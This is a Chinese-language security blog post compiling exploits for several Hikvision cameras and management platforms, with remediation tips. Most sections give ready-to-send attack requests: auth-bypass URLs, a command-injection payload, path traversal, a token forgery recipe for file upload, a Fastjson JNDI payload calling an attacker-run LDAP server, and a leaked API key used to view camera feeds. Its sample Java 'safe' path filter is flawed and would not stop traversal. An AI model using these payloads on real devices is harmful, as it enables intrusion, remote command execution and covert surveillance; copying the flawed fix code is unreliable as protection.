【漏洞总结】海康威视八大漏洞汇总

admin 2023年6月9日09:22:46【漏洞总结】海康威视八大漏洞汇总已关闭评论1,614 views字数 10243阅读34分8秒阅读模式

参考链接:

https://mp.weixin.qq.com/s/E6flzm2_3UmK62P0BuMxEghttps://mp.weixin.qq.com/s/RIixdCh8fGszPmGS-9rxFwhttps://mp.weixin.qq.com/s/mX_7ubt-sNFN0Y-qE4wAGghttps://mp.weixin.qq.com/s/3fWICeosay5XTEEs9iHvmQhttps://mp.weixin.qq.com/s/CEGjTyhphr2GMuK9zpl5bghttps://mp.weixin.qq.com/s/Wveo0X3857mBWFzNOcJHJw

1.海康威视系列产品默认口令(漏洞基本均已修复,仅供参考学习)

图片

图片

图片

图片

图片

------------------------------------------------------

2.海康威视IP Camera身份认证绕过漏洞

漏洞编号:

CVE-2017-7921 CVE-2017-7923

漏洞描述:

海康威视IP Camera设备中存在一个权限提升安全漏洞。由于代码对用户传入参数检查不足,攻击者可能利用该漏洞提升权限,获取或修改设备信息。

影响范围:

图片

排查步骤:

查看系统所有存在用户列表

http://ip/Security/users?auth=YWRtaW46MTEKYWRtaW46MTEK

auth内容是admin:11的base64编码。

图片

获取系统监控快照,不需要进行身份验证。

http://ip/onvif-http/snapshot?auth=YWRtaW46MTEK

图片

下载摄像机配置文件,通过脚本解密配置文件获得账密信息。

http://ip/System/configurationFile?auth=YWRtaW46MTEK

图片

用hex编辑器打开下载的configurationFile文件发现是加密后的。

解密命令

python3 decrypt_configurationFile.py configurationFile

GitHub地址:

图片

https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor

红框中的就是后台登录的账号密码。

图片

进入后台

图片

https://advisories.checkpoint.com/advisory/cpai-2017-0876/#

图片

修复方式:

用户可通过海康威视官网获取补丁/更新版本。

补丁获取地址:

https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20170314/

图片

-----------------------------------------------------

3.海康威视多产品存在命令注入漏洞

漏洞编号:

CVE-2021-36260

漏洞描述:

海康威视多产品web模块存在一个命令注入漏洞,由于对输入参数校验不充分,攻击者可以发送带有恶意命令的报文到受影响设备,成功利用此漏洞可以导致命令执行。
影响范围:
易受攻击的网络摄像机固件。

图片

易受攻击的 PTZ 摄像机固件。

图片

易受攻击的旧固件。

图片

OEM 固件。

排查步骤:

漏洞POC:

PUT /SDK/webLanguage HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 89
<?xml version="1.0"encoding="UTF-8"?><language>$(ifconfig -a >webLib/dd.asp)</language>

成功执行命令。

图片

图片

漏洞修复:

用户可通过海康威视官网获取补丁/更新版本。

补丁下载地址:

https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20210919/

--------------------------------------------

4.海康威视流媒体管理服务器后台任意文件读取漏洞

影响范围:

流媒体管理服务器 V2.3.5

资产排查:

web.title="流媒体管理服务器"

图片

图片

排查步骤:

漏洞POC:

http://xxx.xxx.xxx.xxx/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini

图片

fileName未输入文件名时,返回包会报错,错误信息中包含网站的部分绝对路径信息,经过路径构造可以获取当前php文件的内容:

图片

可以看到,源代码是想把读取的文件写死在log这个目录下,而以下这段代码还是造成了目录穿越!
$file = fopen($file_dir . $file_name,"r"); // 打开文件

漏洞修复:

1.php.ini 配置 open_basedir(针对PHP应用程序)。2.用户输入配置白名单,对文件下载类型进行检查,判断是否为允许下载类型。3.过滤路径回溯符../,或者直接将..替换成空。对参数进行过滤,依次过滤“.”、“..”、“/”、“\”等字符。4.对于下载文件的目录做好限制,只能下载定目录下的文件,或者将要下载的资源文件路径存入数据库,附件下载时定数据库中的id即可,id即对应的资源。
参考代码:
import java.io.File;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.regex.Pattern;
public class FileReader { // 正则表达式,用于过滤路径中的 ../ 字符串 private static final Pattern SAFE_PATH_PATTERN = Pattern.compile("[^/]+/\\.\\./");
// 安全读取文件 public static byte[] readSafely(String path) throws IOException { // 将路径中的 ../ 替换为空字符串 String safePath = SAFE_PATH_PATTERN.matcher(path).replaceAll("");
// 使用安全路径读取文件 Path filePath = Paths.get(safePath); return Files.readAllBytes(filePath); }}
这段代码中使用了正则表达式来过滤路径中的 ../ 字符串,确保文件只能被读取到预期的位置。
使用方法:
try { byte[] fileData = FileReader.readSafely("/path/to/file");} catch (IOException e) { // 处理异常}

--------------------------------------------------------------------------

5.海康威视iVMS综合安防系统任意文件上传漏洞(0day)

产品介绍:

海康威视iVMS集中监控应用管理平台,是以安全防范业务应用为导向,以视频图像应用为基础手段,综合视频监控、联网报警、智能分析、运维管理等多种安全防范应用系统,构建的多业务应用综合管理平台。

漏洞描述:

海康威视iVMS系统存在在野 0day 漏洞,攻击者通过获取密钥任意构造token,请求/resourceOperations/upload接口任意上传文件,导致获取服务器webshell权限,同时可远程进行恶意代码执行。

影响范围:

海康威视综合安防系统iVMS-5000

海康威视综合安防系统 iVMS-8700

资产排查:

web.body="/views/home/file/installPackage.rar"

图片

图片

排查步骤:

漏洞POC:

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPoUpgrade-Insecure-Requests: 1Content-Length: 174
------WebKitFormBoundaryGEJwiloiPoContent-Disposition: form-data; name="fileUploader";filename="1.jsp"Content-Type: image/jpeg
test------WebKitFormBoundaryGEJwiloiPo

构造token绕过认证

POST /eps/api/resourceOperations/upload HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://you-ipConnection: closeCookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9Upgrade-Insecure-Requests: 1Content-Length: 62
service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

构造token绕过认证  (内部机制:如果token值与请求url+secretkey的md5值相同就可以绕过认证)

secretkey是代码里写死的(默认值:secretKeyIbuilding)

token值需要进行MD5加密(32位大写)

组合:token=MD5(url+"secretKeyIbuilding")

图片

重新验证

可以看到,成功绕过

构造文件上传payload

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPoUpgrade-Insecure-Requests: 1Content-Length: 174
------WebKitFormBoundaryGEJwiloiPoContent-Disposition: form-data; name="fileUploader";filename="1.jsp"Content-Type: image/jpeg
test------WebKitFormBoundaryGEJwiloiPo

显示上传成功且返回了resourceUuid值

验证路径:http://url/eps/upload/resourceUuid的值.jsp

海康威视IVMS系统任意文件上传漏洞检测POC

https://github.com/sccmdaveli/hikvision-poc

使用方式:

单个url检测:python3 ivms-poc.py -u url

多个url检测:python3 ivms-poc.py -f file.txt

漏洞修复:

1.在服务器后端控制上传文件类型,处理时强制使用随机数改写文件名和文件路径,不要使用用户自定义的文件名和文件路径。2.在服务器后端建议使用白名单的方法对上传的文件进行过滤,上传的目录不进行解析,只提供下载权限。3.开源编辑器上传漏洞:若新版编辑器已修复漏洞,请更新编辑器版本。4.除了以上的方法之外,还可将被上传的文件限制在某一路径下,并在文件上传目录禁止脚本解析。
参考代码:
import java.io.File;import java.io.IOException;import java.security.SecureRandom;import javax.servlet.ServletException;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.Part;
public class FileUploadServlet extends HttpServlet { private static final long serialVersionUID = 1L;
private static final String ALLOWED_FILE_TYPES = "image/jpeg,image/png,image/gif";
private static final SecureRandom random = new SecureRandom();
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { // 获取上传的文件 Part filePart = request.getPart("file");
// 检查文件类型是否被允许 String fileType = filePart.getContentType(); if (!ALLOWED_FILE_TYPES.contains(fileType)) { response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file type."); return; }
// 使用随机数改写文件名和文件路径 String fileName = generateRandomFileName(filePart.getSubmittedFileName()); String filePath = request.getServletContext().getRealPath("/") + File.separator + "uploads" + File.separator + fileName;
// 保存文件 filePart.write(filePath);
// 返回响应 response.setStatus(HttpServletResponse.SC_OK); }
private static String generateRandomFileName(String fileName) { int randomNumber = random.nextInt(); String[] fileNameParts = fileName.split("\\."); String fileExtension = fileNameParts[fileNameParts.length - 1]; return randomNumber + "." + fileExtension; }}
在上面的代码中,我们首先使用 getPart 方法获取上传的文件。然后检查文件类型是否在允许的文件类型列表中。如果不在,则发送错误响应。否则,我们使用随机数改写文件名和文件路径。最后,我们使用 write 方法将文件写入磁盘,并返回响应。

--------------------------------------------------

6.海康威视综合安防管理平台存在Fastjson远程命令执行漏洞(2022 HVV洞)

产品介绍:

综合安防管理平台基于“统一软件技术架构”理念设计,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、配置、管理和调度。

漏洞描述:

海康威视综合安防管理平台存在Fastjson远程命令执行漏洞,该漏洞可执行系统命令,直接获取服务器权限。

资产排查:

app="HIKVISION-综合安防管理平台"

图片

排查步骤:

漏洞数据包如下:

POST /bic/ssoService/v1/applyCT HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: closeHost: 127.0.0.1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Dnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-siteSec-Fetch-User: ?1Te: trailersContent-Type: application/jsonContent-Length: 215
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://2vyvoa.dnslog.cn","autoCommit":true},"hfe4zyyzldp":"="}

先看看能不能连dnslog服务器,如果dnslog服务器收到请求,则大概率存在命令执行漏洞 

图片

确定dnslog能收到请求之后,使用工具JNDIExploit-1.2-SNAPSHOT.jar 进一步利用。把该工具上传到公网服务器后,执行如下命令

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 你的公网服务器ip

记得对外开放1389 8080端口哦 

图片

然后就在数据包的头部加上 cmd: whoami  这里whoami也可以改成你想执行的命令

存在注入的地方改成  ldap://这里是的你公网服务器ip地址:1389/Basic/TomcatEcho

POST /bic/ssoService/v1/applyCT HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: keep-aliveHost: 127.0.0.1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Dnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-siteSec-Fetch-User: ?1Te: trailersContent-Type: application/jsoncmd: whoamiContent-Length: 215
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://这里是的你公网服务器ip地址:1389/Basic/TomcatEcho","autoCommit":true},"hfe4zyyzldp":"="}

成功执行whoami命令 。

图片

漏洞修复:

用户可通过海康威视官网获取补丁/更新版本。

补丁下载地址:

https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/

---------------------------------------------------------------

8.海康威视AK信息泄露漏洞

进行js多次查看发现存在jsconfig的调用。

图片

图片

图片

appkey就是user 由一个8位数数构成:23412412

Secret就是passwd,由21位的密钥构成:QfQPss5GOac9Bjxkfuv3

官方提供api接口文档

https://open.hikvision.com/docs/docId?productId=5c67f1e2f05948198c909700&version=%2Ff95e951cefc54578b523d1738f65f0a1&curNodeId=16741aecc05944a6b0cd1341d68e4546
1./api/resource/v2/encodeDevice/search接口,获取权限的编码设备列表

图片

2./api/resource/v1/cameras 获取cameraIndexCode

图片

3./api/video/v1/manualCapture 带cameraIndexCode去获取摄像头的Picurl
{"cameraIndexCode":id号,  "pageNo": 1,  "pageSize": 1000}

3.会获取如下图的picUrl,直接访问就是摄像头的画面

图片

利用rtsp协议去访问

利用/api/video/v2/cameras/previewURLs 接口 。获取获取rtsp协议摄像

图片

这里借助借助VLC media player 播放去访问rtsp协议摄像头

图片

图片

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月9日09:22:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞总结】海康威视八大漏洞汇总http://cn-sec.com/archives/1788343.html